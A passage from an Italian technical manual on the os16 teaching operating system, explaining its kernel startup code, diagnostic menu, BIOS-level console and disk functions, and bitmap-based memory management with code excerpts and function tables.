    mov cx, cs
    xor cx, #0x3000
    jcxz move_code_from_0x3000_to_0x0050
    mov cx, cs
    xor cx, #0x1050
    jcxz main_code
    hlt
    jmp startup_code
move_code_from_0x1000_to_0x3000:
    …
    jmp far #0x3000:#0x0000
move_code_from_0x3000_to_0x0050:
    …
    jmp far #0x1050:#0x0000
main_code:
…
```

Non si prevede che il kernel possa trovarsi in memoria in una collocazione differente da quelle stabilite nelle varie fasi di avvio, pertanto, in caso contrario, si crea semplicemente un circolo vizioso senza uscita.

Dal simbolo '**main_code**' inizia finalmente il lavoro e si procede con l'allineamento dei registri dei segmenti dei dati, in modo che siano tutti corrispondenti al valore previsto: 0050_{16} (il segmento in cui inizia l'area dati, secondo la collocazione prevista). Viene poi posizionato il valore del registro ***SP*** a zero, in modo che al primo inserimento questo punti esattamente all'indirizzo più grande che si possa raggiungere nel segmento dati ($FFFE_{16}$, considerato che gli inserimenti nella pila sono a 16 bit).

```
…
main_code:
    mov  ax, #0x0050
    mov  ds, ax
    mov  ss, ax
    mov  es, ax
    mov sp, #0x0000
    …
```

Appena la pila diventa operativa, si inizializza anche il registro ***FLAGS***, verificando di disabilitare inizialmente le interruzioni.

```
…
main_code:
    …
    push #0
    popf
    cli
    …
```

A questo punto, si chiama la funzione ***main()***, fornendo come argomenti tre valori a zero.

```
…
main_code:
    …
    push #0
    push #0
    push #0
    call _main
    add  sp, #2
    add  sp, #2
    add  sp, #2
…
```

Nel caso la funzione dovesse terminare e restituire il controllo, si passerebbe al codice successivo al simbolo '**`halt`**', con cui si crea un ciclo senza uscita, corrispondente alla conclusione del funzionamento del kernel.

```
…
halt:
    hlt
    jmp halt
…
```

Utilizzando il compilatore Bcc per compilare ciò che descrive la funzione ***main()***, viene richiesta la presenza della funzione ***__mkargv()*** (il simbolo '**`___mkargv`**'), che in questo caso può limitarsi a non fare alcunché.

```
…
___mkargv:
    ret
…
```

95.2.3 File «kernel/main.h» e «kernel/main/*»

Listato 105.7 e successivi.

Tutto il lavoro del kernel di os16 si sintetizza nella funzione ***main()***, contenuta nel file '`kernel/main/main.c`'. Per poter dare un significato a ciò che vi appare al suo interno, occorre conoscere tutto il resto del codice, ma inizialmente è utile avere un'idea di ciò che succede, se poi si vuole compilare ed eseguire il sistema operativo.

La funzione ***main()*** viene dichiarata secondo la forma tradizionale di un programma per sistemi POSIX, ma gli argomenti che riceve dalla chiamata contenuta nel file '`kernel/main/crt0.s`' sono nulli, perché nessuna informazione gli viene passata effettivamente.

```
…
int
main (int argc, char *argv[], char *envp[])
{
    …
    tty_init ();
    k_printf ("os16 build %s ram %i Kibyte\n", BUILD_DATE, int12 ());
    dsk_setup ();
    heap_clear ();
    proc_init ();
    menu ();
    …
```

Dopo la dichiarazione delle variabili si inizializza la gestione del video della console con la funzione ***tty_init()***, si mostra un messaggio iniziale, quindi si passa alla predisposizione di ciò che serve, prima di poter avviare dei processi. In particolare va osservata la funzione ***heap_clear()***, la quale inizializza con il codice $FFFF_{16}$ lo spazio di memoria libero, tra la fine delle variabili «statiche» e il livello che ha raggiunto in quel momento la pila dei dati. Successivamente, avendo marcato in questo modo quello spazio, diventa possibile riconoscere empiricamente quanto spazio di quella porzione di memoria avrebbe potuto essere utilizzato, senza essere sovrascritto dalla pila dei dati. Il messaggio iniziale contiene la data di compilazione e la memoria libera (la macro-variabile ***BUILD_DATE*** viene definita dallo script '**`makeit`**', usato per la compilazione, creando il file '`kernel/main/build.h`' che viene poi incluso dal file '`kernel/main/main.c`').

L'attivazione della gestione dei processi (e delle interruzioni) con la funzione ***proc_init()***, comporta anche l'innesto del file system principale (chiamando da lì la funzione ***sb_mount()***).

```
…
int
main (int argc, char *argv[], char *envp[])
{
    …
    menu ();
    for (exit = 0; exit == 0;)
      {
        sys (SYS_0, NULL, 0);
        dev_io ((pid_t) 0, DEV_TTY, DEV_READ, 0L, &key, 1, NULL);
        …
        switch (key)
          {
            case 'h':
                menu ();
                break;
            …
            case 'x':
                exit = 1;
                break;
            case 'q':
```

```
                k_printf ("System halted!\n");
                return (0);
                break;
          }
      }
    ...
```

A questo punto il kernel ha concluso le sue attività preliminari e, per motivi diagnostici, mostra un menù, quindi inizia un ciclo in cui ogni volta esegue una chiamata di sistema nulla e poi legge un carattere dalla tastiera: se risulta premuto un tasto previsto, fa quanto richiesto e riprende il ciclo. La chiamata di sistema nulla serve a far sì che lo schedulatore ceda il controllo a un altro processo, ammesso che questo esista, consentendo l'avvio di processi ancor prima di avere messo in funzione quel processo che deve svolgere il ruolo di '**init**'.

In generale le chiamate di sistema sono fatte per essere usate solo dalle applicazioni; tuttavia, in pochi casi speciali il kernel le deve utilizzare come se fosse proprio un'applicazione. Qui si rende necessario l'uso della chiamata nulla, perché quando è in funzione il codice del kernel non ci possono essere interruzioni esterne e quindi nessun altro processo verrebbe messo in condizione di funzionare.

Le funzioni principali disponibili in questa modalità diagnostica sono riassunte nella tabella successiva:

Tasto	Risultato
[*h*]	Mostra il menù di funzioni disponibili.
[*1*]	Invia il segnale '**SIGKILL**' al processo numero uno.
[*2*]...[*9*]	Invia il segnale '**SIGTERM**' al processo con il numero corrispondente.
[*A*]...[*F*]	Invia il segnale '**SIGTERM**' al processo con il numero da 10 a 15.
[*a*], [*b*], [*c*]	Avvia il programma '/bin/aaa', '/bin/bbb' o '/bin/ccc'.
[*f*]	Mostra l'elenco dei file aperti nel sistema.
[*m*], [*M*]	Innesta o stacca il secondo dischetto dalla directory '/usr/'.
[*n*], [*N*]	Mostra l'elenco degli inode aperti: l'elenco è composto da due parti.
[*l*]	Invia il segnale '**SIGCHLD**' al processo numero uno.
[*p*]	Mostra la situazione dei processi e altre informazioni.
[*x*]	Termina il ciclo e successivamente si passa all'avvio di '/bin/init'.
[*q*]	Ferma il sistema.

Premendo [*x*], il ciclo termina e il kernel avvia '/bin/init'. Quindi si mette in un altro ciclo, dove si limita a passare ogni volta il controllo allo schedulatore, attraverso la chiamata di sistema nulla.

```
...
int
main (int argc, char *argv[], char *envp[])
{
    ...
    menu ();
    for (exit = 0; exit == 0;)
      {
```

```
        ...
      }
    exec_argv[0] = "/bin/init";
    exec_argv[1] = NULL;
    pid = run ("/bin/init", exec_argv, NULL);
    while (1)
      {
        sys (SYS_0, NULL, 0);
      }
    ...
}
```

Figura 95.22. Aspetto di os16 in funzione, con il menù in evidenza.

```
os16 build 20YY.MM.DD HH:MM:SS ram 639 Kibyte
.-------------------------------------------------------------------.
| [h]       show this menu                                          |
| [p]       process status and memory map                           |
| [1]..[9]  kill process  1 to 9                                    |
| [A]..[F]  kill process 10 to 15                                   |
| [l]       send SIGCHLD to process 1                               |
| [a]..[c]  run programs '/bin/aaa' to '/bin/ccc' in parallel       |
| [f]       system file status                                      |
| [n], [N]  list of active inodes                                   |
| [m], [M]  mount/umount '/dev/dsk1' at '/usr/'                     |
| [x]       exit interaction with kernel and start '/bin/init'      |
| [q]       quit kernel                                             |
'-------------------------------------------------------------------'
```

Figura 95.23. Aspetto di os16 in funzione mentre visualizza anche la tabella dei processi avviati (tasto [p]).

```
ababaaababaaababaabbaaababaaababap
pp  p pg
id id rp  tty  uid euid suid usage s iaddr isiz daddr dsiz sp   name
 0  0  0 0000    0    0    0 00.35 R 10500 eb7c 00500 0000 ffc8 os16 kernel
 0  1  0 0000    0    0    0 00.33 r 2f100 0600 2f700 aa00 a8e8 /bin/ccc
 0  2  0 0000    0    0    0 00.01 r 1f100 0600 84300 aa00 a8e8 /bin/ccc
 2  3  0 0000   10   10   10 00.01 r 1f100 0600 44b00 aa00 a8e8 /bin/ccc
 0  4  0 0000    0    0    0 00.17 r 21600 0600 3a100 aa00 a8e8 /bin/ccc
 4  5  0 0000   10   10   10 00.02 r 21c00 2400 6f100 a900 a86c /bin/aaa
 4  6  0 0000   11   11   11 00.02 s 24000 2500 59d00 a900 a8b6 /bin/bbb
 0  7  0 0000    0    0    0 00.13 r 26500 0600 64600 aa00 a8e8 /bin/ccc
 7  8  0 0000   10   10   10 00.02 r 26b00 2400 8ee00 a900 981e /bin/aaa
 7  9  0 0000   11   11   11 00.02 s 2bf00 2500 79a00 a900 a8b6 /bin/bbb
CS=1050 DS=0050 SS=0050 ES=0050 BP=ffe4 SP=ffe4 heap_min=878c etext=eb7c edata=1
b3c ebss=4c34 ksp=ffc8 clock=0000084b, time elapsed=00:01:57
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffe00000003ffffffffffffffffffffffffff
fffe000000000001fffffffff0007fffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff800
0000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffbfffffffffffffffffffffffffffffffffffffffffe0000000000000000000000000f

abbaaaaababaaababaaabbaabbaabababbaabbbbbbbbbbbbb
```

Figura 95.24. Aspetto di os16 in funzione con il menù in evidenza, dopo aver premuto il tasto [x] per avviare '**init**'.

```
os16 build 20YY.MM.DD HH:MM:SS ram 639 Kibyte
.------------------------------------------------------------------.
| [h]       show this menu                                         |
| [p]       process status and memory map                          |
| [1]..[9] kill process  1 to 9                                    |
| [A]..[F] kill process 10 to 15                                   |
| [l]       send SIGCHLD to process 1                              |
| [a]..[c] run programs '/bin/aaa' to '/bin/ccc' in parallel       |
| [f]       system file status                                     |
| [n], [N] list of active inodes                                   |
| [m], [M] mount/umount '/dev/dsk1' at '/usr/'                     |
| [x]       exit interaction with kernel and start '/bin/init'     |
| [q]       quit kernel                                            |
'------------------------------------------------------------------'
init
os16: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
This is terminal /dev/console0
Log in as "root" or "user" with password "ciao" :-)
login:
```

95.3 Funzioni interne legate all'hardware

Il file '`kernel/ibm_i86.h`' e quelli contenuti nella directory '`kernel/ibm_i86/`', raccolgono il codice del kernel che è legato strettamente all'hardware; a questi file vanno anche aggiunti '`lib/sys/os16.h`' e la directory '`lib/sys/os16/`', della libreria, utilizzati anche dalle applicazioni, a vario titolo. In generale si può osservare la presenza di funzioni che si avvalgono direttamente di alcune interruzioni del BIOS (fondamentalmente per la gestione del video e per l'accesso ai dischi); funzioni che permettono di leggere il valore di alcuni registri; funzioni per leggere e scrivere la memoria, in posizioni arbitrarie; funzioni per facilitare la lettura e la scrittura nei dischi, anche a livello di byte.

Salvo poche eccezioni, le funzioni scritte in linguaggio assemblatore hanno nomi che iniziano con un trattino basso, ma a fianco di queste sono anche disponibili delle macro-istruzioni, con nomi equivalenti, senza il trattino basso iniziale, per garantire che gli argomenti della chiamata abbiano il tipo corretto, restituendo un valore intero «normale», quando qualcosa deve essere restituito.

95.3.1 Libreria: «lib/sys/os16.h» e «lib/sys/os16/...»

Listato 106.12 e successivi.

Nel file '`lib/sys/os16.h`' e in quelli della directory '`lib/sys/os16/`' si raccolgono, tra le altre, delle funzioni di basso livello che possono essere utili per il kernel e per le applicazioni. Si tratta di ***_seg_i()*** e ***_seg_d()*** (ovvero le macro-istruzioni ***seg_i()*** e ***seg_d()***), con cui si ottiene, rispettivamente, il numero del segmento codice (istruzioni) e il numero del segmento dati. Inoltre, per poter verificare gli altri registri di segmento e i registri di gestione della pila, si aggiungono le funzioni ***_cs()***, ***_ds()***, ***_ss()***, ***_es()***, ***_sp()*** e ***_bp()***; le quali, rispettivamente, consentono di leggere il valore dei registri ***CS***, ***DS***, ***SS***, ***ES***, ***SP*** e ***BP*** (le macro-istruzioni equivalenti sono ***cs()***, ***ds()***, ***ss()***, ***es()***, ***sp()*** e ***bp()***).

Tabella 95.25. Funzioni e macro-istruzioni legate strettamente all'hardware, dichiarate nel file di intestazione '`lib/sys/os16.h`'. Tali funzioni e macro-istruzioni possono essere utilizzate sia dal kernel, sia dalle applicazioni.

Funzione o macro-istruzione	Descrizione
`uint16_t _seg_i (void);` `unsigned int seg_i (void);`	Restituisce il numero del segmento codice (*instruction*). Listati 106.12 e 106.12.6.
`uint16_t _seg_d (void);` `unsigned int seg_d (void);`	Restituisce il numero del segmento dati. Listati 106.12 e 106.12.5.
`uint16_t _cs (void);` `unsigned int cs (void);`	Restituisce il valore del registro ***CS***. Listati 106.12 e 106.12.2.
`uint16_t _ds (void);` `unsigned int ds (void);`	Restituisce il valore del registro ***DS***. Listati 106.12 e 106.12.3.
`uint16_t _ss (void);` `unsigned int ss (void);`	Restituisce il valore del registro ***SS***. Listati 106.12 e 106.12.8.
`uint16_t _es (void);` `unsigned int es (void);`	Restituisce il valore del registro ***ES***. Listati 106.12 e 106.12.4.
`uint16_t _sp (void);` `unsigned int sp (void);`	Restituisce il valore del registro ***SP***. Il valore che si ottiene si riferisce allo stato del registro, prima di chiamare la funzione. Listati 106.12 e 106.12.7.
`uint16_t _bp (void);` `unsigned int bp (void);`	Restituisce il valore del registro ***BP***. Il valore che si ottiene si riferisce allo stato del registro, prima di chiamare la funzione. Listati 106.12 e 106.12.1.

95.3.2 Funzioni di basso livello dei file «kernel/ibm_i86/*»

Listato 105.5 e successivi.

Le funzioni con nomi che iniziano per '**`_int`*nn*...`()`**', dove ***nn*** è un numero di due cifre, in base sedici, consentono l'accesso all'interruzione ***nn*** del BIOS dal codice in linguaggio C.

Le funzioni con nomi del tipo '**`_in_`*n*`()`**' e '**`_out_`*n*`()`**' consentono di leggere e di scrivere un valore di ***n*** bit in una certa porta.

La funzione ***cli()*** disabilita le interruzioni hardware, mentre ***sti()*** le riabilita. Queste due funzioni vengono usate pochissimo nel codice del kernel. A loro si aggiungono le funzioni ***irq_on()*** e ***irq_off()***, per abilitare o escludere selettivamente un tipo di interruzione hardware. Queste funzioni vengono usate in una sola occasione, quando si predispone la tabella IVT e poi si abilitano esclusivamente le interruzioni utili.

La funzione ***_ram_copy()*** si occupa di copiare una quantità stabilita di byte da una posizione della memoria a un'altra, entrambe indicate con segmento e scostamento (la funzione ***mem_copy()*** elencata in '`kernel/memory.h`' si avvale in pratica di questa).

Per agevolare l'uso di queste funzioni, senza costringere a convertire i valori numerici, sono disponibili diverse macro-istruzioni con nomi equivalenti, ma privi del trattino basso iniziale.

Tabella 95.26. Funzioni e macro-istruzioni di basso livello, dichiarate nel file di intestazione '`kernel/ibm_i86.h`' e descritte nei file della directory '`kernel/ibm_i860/`'. Le macro-istruzioni hanno argomenti di tipo numerico non precisato, purché in grado di rappresentare il valore necessario.

Funzione o macro-istruzione	Descrizione
`void _int10_00 (uint16_t` ***video_mode***`);` `void int10_00 (`***video_mode***`);`	Imposta la modalità video della console. Questa funzione viene usata solo da ***con_init()***, per inizializzare la console; la modalità video è stabilita dalla macro-variabile ***IBM_I86_VIDEO_MODE***, dichiarata nel file '`kernel/ibm_i86.h`'.

`void _int10_02 (uint16_t` ***page***`,`
`uint16_t` ***position***`);`
`void int10_02 (`***page***`,` ***position***`);`
	Colloca il cursore in una posizione determinata dello schermo, relativo a una certa pagina video.
	Questa funzione viene usata solo da ***con_putc()***.

`void _int10_05 (uint16_t` ***page***`);` `void int10_05 (`***page***`);`	Seleziona la pagina attiva del video. Questa funzione viene usata solo da ***con_init()*** e ***con_select()***.
`void _int12 (void);` `void int12 (void);`	Restituisce la quantità di memoria disponibile, in multipli di 1024 byte.
`void _int13_00 (uint16_t` ***drive***`);` `void int13_00 (`***drive***`);`	Azzera lo stato dell'unità a disco indicata, rappresentata da un numero secondo le convenzioni del BIOS. Viene usata solo dalle funzioni '**`dsk_...()`**' che si occupano dell'accesso alle unità a disco.

`uint16_t _int13_02 (uint16_t` ***drive***`,`
`uint16_t` ***sectors***`,`
`uint16_t` ***cylinder***`,`
`uint16_t` ***head***`,`
`uint16_t` ***sector***`,`
`void *`***buffer***`);`
`void int13_02 (`***drive***`,` ***sectors***`,` ***cylinder***`,` ***head***`,`
sector`,` ***buffer***`);`
	Legge dei settori da un'unità a disco.
	Questa funzione viene usata soltanto da ***dsk_read_sectors()***.

`uint16_t _int13_03 (uint16_t` ***drive***`,`
`uint16_t` ***sectors***`,`
`uint16_t` ***cylinder***`,`
`uint16_t` ***head***`,`
`uint16_t` ***sector***`,`
`void *`***buffer***`);`
`void int13_03 (`***drive***`,` ***sectors***`,` ***cylinder***`,` ***head***`,`
sector`,` ***buffer***`);`
	Scrive dei settori in un'unità a disco.
	Questa funzione viene usata solo da ***dsk_write_sectors()***.

Funzione o macro-istruzione	Descrizione
`uint16_t _int16_00 (void);` `void int16_00 (void);`	Legge un carattere dalla tastiera, rimuovendolo dalla memoria tampone relativa. Viene usata solo in alcune funzioni di controllo della console, denominate '**`con_...()`**'.
`uint16_t _int16_01 (void);` `void int16_01 (void);`	Verifica se è disponibile un carattere dalla tastiera: se c'è ne restituisce il valore, ma senza rimuoverlo dalla memoria tampone relativa, altrimenti restituisce zero. Viene usata solo dalle funzioni di gestione della console, denominate '**`con_...()`**'.
`void _int16_02 (void);` `void int16_02 (void);`	Restituisce un valore con cui è possibile determinare quali funzioni speciali della tastiera risultano inserite (inserimento, fissa-maiuscole, blocco numerico, ecc.). Al momento la funzione non viene usata.
`uint16_t _in_8 (uint16_t` ***port***`);` `void in_8 (`***port***`);`	Legge un byte dalla porta di I/O indicata. Questa funzione viene usata da ***irq_on()***, ***irq_off()*** e ***dev_mem()***.
`uint16_t _in_16 (uint16_t` ***port***`);` `void in_16 (`***port***`);`	Legge un valore a 16 bit dalla porta di I/O indicata. Questa funzione viene usata solo da ***dev_mem()***.

`void _out_8 (uint16_t` ***port***`,`
`uint16_t` ***value***`);`
`void out_8 (`***port***`,` ***value***`);`
	Scrive un byte nella porta di I/O indicata. Questa funzione viene usata da ***irq_on()***, ***irq_off()*** e ***dev_mem()***.

`void _out_16 (uint16_t` ***port***`,`
`uint16_t` ***value***`);`
`void out_16 (`***port***`,` ***value***`);`
	Scrive un valore a 16 bit nella porta indicata. Questa funzione viene usata solo da ***dev_mem()***.

`void cli (void);`	Azzera l'indicatore delle interruzioni, nel registro ***FLAGS***. La funzione serve a permettere l'uso dell'istruzione '**`CLI`**' dal codice in linguaggio C, ma in questa veste, viene usata solo dalla funzione ***proc_init()***.
`void sti (void);`	Attiva l'indicatore delle interruzioni, nel registro ***FLAGS***. La funzione serve a permettere l'uso dell'istruzione '**`STI`**' dal codice in linguaggio C, ma in questa veste, viene usata solo dalla funzione ***proc_init()***.
`void irq_on (unsigned int` ***irq***`);`	Abilita l'interruzione hardware indicata. Questa funzione viene usata solo da ***proc_init()***.
`void irq_off (unsigned int` ***irq***`);`	Disabilita l'interruzione hardware indicata. Questa funzione viene usata solo da ***proc_init()***.

`void _ram_copy (segment_t` ***org_seg***`,`
`offset_t` ***org_off***`,`
`segment_t` ***dst_seg***`,`
`offset_t` ***dst_off***`,`
`uint16_t` ***size***`);`
`void ram_copy (`***org_seg***`,` ***org_off***`,` ***dst_seg***`,`
dst_off`,`
size`);`
	Copia una certa quantità di byte, da una posizione di memoria all'altra, specificando segmento e scostamento di origine e destinazione. Viene usata solo dalle funzioni '**`mem_...()`**'.

95.3.3 Gestione della console

Listato 105.5 e successivi.

La console offre solo funzionalità elementari, dove è possibile scrivere o leggere un carattere alla volta, sequenzialmente. Ci sono al massimo quattro console virtuali, selezionabili attraverso le combinazioni di tasti [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*] (ma nella configurazione predefinita vengono attivate solo le prime due) e non è possibile controllare i colori o la posizione del testo che si va a esporre; in pratica si opera come su una telescrivente. Le funzioni di livello più basso, relative alla console hanno nomi che iniziano per '`con_...()`'.

Nel codice del kernel si vede usata frequentemente la funzione ***k_printf()***, la quale va a utilizzare la funzione ***k_vprintf()***, dove poi, attraverso altri passaggi, si arriva a utilizzare la funzione ***con_putc()***.

Tabella 95.27. Funzioni per l'accesso alla console, dichiarate nel file di intestazione '`kernel/ibm_i86.h`' e descritte nei file contenuti nella directory '`kernel/ibm_i86/`'.

Funzione	Descrizione
`int con_char_read (void);`	Legge un carattere dalla console, se questo è disponibile, altrimenti restituisce il valore zero. Questa funzione viene usata solo da ***proc_sch_terminals()***.
`int con_char_wait (void);`	Legge un carattere dalla console, ma se questo non è ancora disponibile, rimane in attesa, bloccando tutto il sistema operativo. Questa funzione non è utilizzata.
`int con_char_ready (void);`	Verifica se è disponibile un carattere dalla console: se è così, restituisce un valore diverso da zero, corrispondente al carattere in attesa di essere prelevato. Questa funzione viene usata solo da ***proc_sch_terminals()***.
`void con_init (void);`	Inizializza la gestione della console. Questa funzione viene usata solo da ***tty_init()***.
`void con_select (int` ***console***`);`	Seleziona la console desiderata, dove la prima si individua con lo zero. Questa funzione viene usata solo da ***tty_console()***.
`void con_putc (int` ***console***`, int` ***c***`);`	Visualizza il carattere indicato sullo schermo della console specificata, sulla posizione in cui si trova il cursore, facendolo avanzare di conseguenza e facendo scorrere il testo in alto, se necessario. Questa funzione viene usata solo da ***tty_write()***.
`void con_scroll (int` ***console***`);`	Fa avanzare in alto il testo della console selezionata. Viene usata internamente, solo dalla funzione ***con_putc()***.

Nella figura successiva si vede l'interdipendenza tra le funzioni relative alla gestione di basso livello della console. In un altro capitolo si descrivono le funzioni '`tty_...()`', con le quali si gestiscono i terminali in forma più astratta. Nello schema successivo si può vedere che la funzione ***con_scroll()*** si avvale di funzioni per la gestione della memoria: infatti, lo scorrimento del testo dello schermo si ottiene intervenendo direttamente nella memoria utilizzata per la rappresentazione del testo sullo schermo.

Figura 95.28. Interdipendenza tra le funzioni relative alla gestione della console.

95.3.4 Gestione dei dischi

Listato 105.5 e successivi.

Nel file '`ibm_i86.h`' vengono definiti due tipi derivati: '**`dsk_t`**' per annotare le caratteristiche di un disco; '**`dsk_chs_t`**' per annotare simultaneamente le coordinate di accesso a un disco, formate dal numero del cilindro, della testina e del settore.

dsk_t
bios_drive
cylinders
heads
sectors
retry

dsk_chs_t
cylinder
head
sector

Le funzioni con nomi del tipo '**`dsk_...()`**' riguardano l'accesso ai dischi, a livello di settore o di byte, e utilizzano le informazioni annotate nell'array ***dsk_table[]***, composto da elementi di tipo '**`dsk_t`**'. In pratica, l'array ***dsk_table[]*** viene creato con '**`DSK_MAX`**' elementi (pertanto solo quattro), uno per ogni disco che si intende gestire. Quando le funzioni '**`dsk_...()`**' richiedono

l'indicazione di un numero di unità (*drive*), si riferiscono all'indice dell'array ***dsk_table[]*** (al contrario, le funzioni '**`_int13_...()`**' hanno come riferimento il codice usato dal BIOS).

La funzione ***dsk_setup()*** compila l'array ***dsk_table[]*** con i dati relativi ai dischi che si utilizzano; la funzione ***dsk_reset()*** azzera la funzionalità di una certa unità; la funzione ***dsk_sector_to_chs()*** converte il numero assoluto di un settore nelle coordinate corrispondenti (cilindro, testina e settore).

Le funzioni ***dsk_read_sectors()*** e ***dsk_write_sectors()*** servono a leggere o scrivere una quantità stabilita di settori, usando come appoggio un'area di memoria individuata da un puntatore generico. Le funzioni ***dsk_read_bytes()*** e ***dsk_write_bytes()*** svolgono un compito equivalente, ma usando come riferimento il byte; in questo caso, restituiscono la quantità di byte letti o scritti rispettivamente.

Tabella 95.30. Funzioni per l'accesso ai dischi, dichiarate nel file di intestazione '`kernel/ibm_i86.h`'.

Funzione	Descrizione
`void dsk_setup (void);`	Predispone il contenuto dell'array ***dsk_table[]***. Questa funzione viene usata soltanto da ***main()***.
`int dsk_reset (int` ***drive***`);`	Azzera lo stato dell'unità corrispondente a ***dsk_table[drive].bios_drive***. Viene usata solo internamente, dalle altre funzioni '**`dsk_...()`**'.
`void dsk_sector_to_chs (int` ***drive***`, unsigned int` ***sector***`, dsk_chs_t *`***chs***`);`	Modifica le coordinate della variabile strutturata a cui punta l'ultimo parametro, con le coordinate corrispondenti al numero di settore fornito. Viene usata solo internamente, dalle altre funzioni '**`dsk_...()`**'.
`int dsk_read_sectors (int` ***drive***`, unsigned int` ***start_sector***`, void *`***buffer***`, unsigned int` ***n_sectors***`);`	Legge una sequenza di settori da un disco, mettendo i dati in memoria, a partire dalla posizione espressa da un puntatore generico. La funzione è ricorsiva, ma oltre che da se stessa, viene usata internamente da ***dsk_read_bytes()*** e da ***dsk_write_bytes()***.
`int dsk_write_sectors (int` ***drive***`, unsigned int` ***start_sector***`, void *`***buffer***`, unsigned int` ***n_sectors***`);`	Scrive una sequenza di settori in un disco, traendo i dati da un puntatore a una certa posizione della memoria. La funzione è ricorsiva, ma oltre che da se stessa, viene usata solo internamente da ***dsk_write_bytes()***.
`size_t dsk_read_bytes (int` ***drive***`, off_t` ***offset***`, void *`***buffer***`, size_t count);`	Legge da una certa unità a disco una quantità specificata di byte, a partire dallo scostamento indicato (nel disco), il quale deve essere un valore positivo. Questa funzione viene usata solo da ***dev_dsk()***.
`size_t dsk_write_bytes (int` ***drive***`, off_t` ***offset***`, void *`***buffer***`, size_t count);`	Scrive su una certa unità a disco una quantità specificata di byte, a partire dallo scostamento indicato (nel disco), il quale deve essere un valore positivo. Questa funzione viene usata solo da ***dev_dsk()***.

Figura 95.31. Interdipendenza tra le funzioni relative all'accesso ai dischi.

95.4 Gestione della memoria

Dal punto di vista del kernel di os16, l'allocazione della memoria riguarda la collocazione dei processi elaborativi nella stessa. Disponendo di una quantità di memoria esigua, si utilizza una mappa di bit per indicare lo stato dei blocchi di memoria, dove un bit a uno indica un blocco di memoria occupato.

Nel file '`memory.h`' viene definita la dimensione di un blocco di memoria e, di conseguenza, la quantità massima che possa essere gestita. Attualmente i blocchi sono da 256 byte, pertanto, sapendo che la memoria può arrivare solo fino a 640 Kibyte, si gestiscono al massimo 2560 blocchi.

Per la scansione della mappa si utilizzano interi da 16 bit, pertanto tutta la mappa si riduce a 40 di questi interi, ovvero 80 byte. Nell'ambito di ogni intero da 16 bit, il bit più significativo rappresenta il primo blocco di memoria di sua competenza. Per esempio, per indicare che si stanno utilizzando i primi 1280 byte, pari ai primi cinque blocchi di memoria, si rappresenta la mappa della memoria come «F80000000...».

Il fatto che la mappa della memoria vada scandito a ranghi di 16 bit va tenuto in considerazione, perché se invece si andasse con ranghi differenti, si incapperebbe nel problema dell'inversione dei byte.

Quando possibile, si fa riferimento a indirizzi di memoria efficaci, nel senso che, con un solo valore, si rappresentano le posizioni da 00000_{16} a $FFFFF_{16}$. Per questo viene predisposto il tipo derivato '**`addr_t`**' nel file '`memory.h`'.

95.4.1 File «kernel/memory.h» e «kernel/memory/...»

Listato 105.8 e successivi.

Il file '`kernel/memory.h`', oltre ai prototipi delle funzioni usate per la gestione della memoria, definisce la dimensione del blocco minimo di memoria e la quantità massima di questi, rispettivamente con le macro-variabili ***MEM_BLOCK_SIZE*** e ***MEM_MAX_BLOCKS***; inoltre predispone i tipi derivati '**`memory_t`**', '**`segment_t`**', '**`offset_t`**' e '**`addr_t`**', corrispondenti, rispettivamente, a una variabile strutturata che consente di rappresentare un'area di memoria in modo relativamente comodo (indirizzo efficace, segmento e dimensione), un indirizzo di segmento, uno scostamento dall'inizio di un segmento e un indirizzo efficace.

Figura 95.32. Mappa della memoria in blocchi: la dimensione minima di un'area di memoria è di '**`MEM_BLOCK_SIZE`**' byte.

Nei file della directory '`kernel/memory/`' viene dichiarata la mappa della memoria, corrispondente a un array di interi a 16 bit, denominato ***mb_table[]***. L'array è pubblico, tuttavia è disponibile anche una funzione che ne restituisce il puntatore: ***mb_reference()***. Tale funzione sarebbe perfettamente inutile, ma rimane per uniformità rispetto alla gestione delle altre tabelle.

Nelle funzioni che riguardano l'allocazione della memoria, quando si indica la dimensione di questa, spesso si considera il valore zero equivalente a 10000_{16}, ovvero la dimensione massima di un segmento secondo l'architettura.

Tabella 95.33. Funzioni per la gestione della mappa della memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`uint16_t *mb_reference (void);`	Restituisce il puntatore alla tabella dei blocchi di memoria, per uniformare l'accesso alla tabella dalle funzioni che non fanno parte del gruppo contenuto nella directory '`kernel/memory/`'.

Funzione	Descrizione
`ssize_t mb_alloc (addr_t address, size_t size);`	Alloca la memoria a partire dall'indirizzo efficace indicato, per la quantità di byte richiesta (zero corrisponde a 10000_{16} byte). L'allocazione ha termine anticipatamente se si incontra un blocco già utilizzato. La funzione restituisce la dimensione allocata effettivamente.
`ssize_t mb_free (addr_t address, size_t size);`	Libera la memoria a partire dall'indirizzo efficace indicato, per la quantità di byte richiesta (zero corrisponde a 10000_{16} byte). Lo spazio viene liberato in ogni caso, anche se risulta già libero; tuttavia viene prodotto un avvertimento a video se si verifica tale ipotesi.
`int mb_alloc_size (size_t size, memory_t *allocated);`	Cerca e alloca un'area di memoria della dimensione richiesta, modificando la variabile strutturata di cui viene fornito il puntatore come secondo parametro. In pratica, l'indirizzo e l'estensione della memoria allocata effettivamente si trovano nella variabile strutturata in questione, mentre la funzione restituisce zero (se va tutto bene) o -1 se non è disponibile la memoria libera richiesta.

Tabella 95.34. Funzioni per le operazioni di lettura e scrittura in memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`void mem_copy (addr_t orig, addr_t dest, size_t size);`	Copia la quantità richiesta di byte, dall'indirizzo di origine a quello di destinazione, espressi in modo efficace.
`size_t mem_read (addr_t start, void *buffer, size_t size);`	Legge dalla memoria, a partire dall'indirizzo indicato come primo parametro, la quantità di byte indicata come ultimo parametro. Ciò che viene letto va poi copiato nella memoria tampone corrispondente al puntatore generico indicato come secondo parametro.
